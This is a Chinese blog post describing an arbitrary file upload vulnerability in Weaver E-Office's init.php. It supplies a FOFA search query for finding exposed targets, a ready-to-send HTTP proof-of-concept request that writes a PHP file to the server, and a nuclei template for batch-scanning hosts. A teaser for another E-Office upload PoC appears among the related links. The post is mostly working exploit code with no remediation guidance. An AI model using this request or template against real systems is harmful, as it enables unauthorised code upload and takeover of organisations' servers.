首页 > 编程语言 >泛微E-Office init.php文件上传漏洞

泛微E-Office init.php文件上传漏洞

时间:2023-09-04 16:24:00浏览次数:33  
标签:Office 泛微 漏洞 init php 上传 ID

漏洞简介

泛微E-Office init.php文件存在任意文件上传漏洞,攻击者可以通过该漏洞直接获取网站权限。

漏洞复现

fofa语法:app="泛微-EOffice"
登录页面如下:

POC:

POST /E-mobile/App/init.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

m=common_Common_Flow&f=flowDo&diff=feedback&RUN_ID=1&USER_ID=1&CONTENT=1&FLOW_ID=1&upload_file=PD9waHAgZWNobyAiMTIzNDU2NzgiO3VubGluayhfX0ZJTEVfXyk7Pz4=&file_name=test.php


使用浏览器访问上传后的文件。

nuclei批量yaml文件

id: eoffice_init_uploal
info:
  name: 泛微 E-Office init.php存在文件上传漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: upload
requests:
  - raw:
      - |-
        POST /E-mobile/App/init.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 170

        m=common_Common_Flow&f=flowDo&diff=feedback&RUN_ID=1&USER_ID=1&CONTENT=1&FLOW_ID=1&upload_file=PD9waHAgZWNobyAiMTIzNDU2NzgiO3VubGluayhfX0ZJTEVfXyk7Pz4=&file_name=test.php
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - flag
      - type: word
        part: body
        words:
          - ?diff=
      - type: word
        part: body
        words:
          - test.php
      - type: word
        part: header
        words:
          - '200'

标签:Office,泛微,漏洞,init,php,上传,ID
From: https://www.cnblogs.com/pursue-security/p/17677388.html

相关文章

  • 泛微E-Office UploadFile.php任意文件上传漏洞 CNVD-2021-49104
    漏洞描述在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件,攻击者可以通过该漏洞直接获取网站权限漏洞复现fofa语法:app="泛微-EOffice"登录页面如下:POC:POST/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=H......
  • PHP实现RESTful风格的API实例
    Request.php:包含一个Request类,即数据操作类。接收到URL的数据后,根据请求URL的方式(GET|POST|PUT|PATCH|DELETE)对数据进行相应的增删改查操作,并返回操作后的结果:<?php/***数据操作类*/classRequest{//允许的请求方式privatestatic$method_type=array('get',......
  • git 错误 Reinitialized existing Git repository
      find.-name".git"rm-rf./.git参考:https://blog.csdn.net/sinat_28375239/article/details/112786267......
  • PHP 中 array_walk 与array_map的区别
    array_map函数来对数组中的每个元素应用回调函数。该函数与array_walk类似**,但是它返回一个新的数组,而不是直接修改原始数组。**在PHP中,可以使用array_walk函数来遍历数组并执行自定义的操作。该函数接受三个参数:要遍历的数组、回调函数和数组元素的索引。回调函数应该接受......
  • PHP 中 array_walk 与array_map的区别
    PHP中array_walk与array_map的区别array_map函数来对数组中的每个元素应用回调函数。该函数与array_walk类似,但是它返回一个新的数组,而不是直接修改原始数组。在PHP中,可以使用array_walk函数来遍历数组并执行自定义的操作。该函数接受三个参数:要遍历的数组、回调函数......
  • PHP extract() 函数
    PHPextract()Function定义和用法extract()函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。第二个参数type用于指定当某个变量已经存在,而数组中又有同名元素时,ext......
  • ⏱️TimeHelper——一个简单快捷的PHP日期时间助手类库
    TimeHelper是一个简单易用的PHP时间日期助手类库,可以快速实现常用的时间日期操作,比如获取指定时间的秒数,获取友好的时间格式,判断时间范围,计算两个时间相差值,返回N小时/天/星期/月/年前或者后的时间戳等等......
  • win2016搭建frp内网穿透的FTP服务器可用phpstorm
    操作系统:WindowsServer2016StandardFTP服务器:ser-U7.0.0.1之前用FileZillaServer,但phpstorm怎么连接不上FTP,最后安装Ser—U使用了SSH模式成功连通。下载安装Ser-U创建域域名信息随便写,没有意义SSH的SFTP一定要打开添加用户frpc开通内网穿透端口frpc相关配......
  • Oracle ORA-01033: ORACLE initialization or shutdown in progress 错误解决办法
    出现原因:主要是我把F盘的数据库文件给删了导致的(这个是我遇到的问题,可能还有其他情况下也会出现这种问题)第一步,运行cmd,输入:sqlplus/assysdba  第二步,输入:startup第三步,输入:shutdownabort第四步,重新输入:startup命令,这时会报如下错误,这种情况主要是我把数据库文件给删了......
  • php:查看安装时的编译参数(php 8.2.5)
    一,用-i参数[liuhongdi@img~]$/usr/local/soft/php8.2.5/bin/php-i|grepconfigureConfigureCommand=>  './configure'  '--prefix=/usr/local/soft/php8.2.5''--with-config-file-path=/usr/local/soft/php8.2.5/etc''--with-c......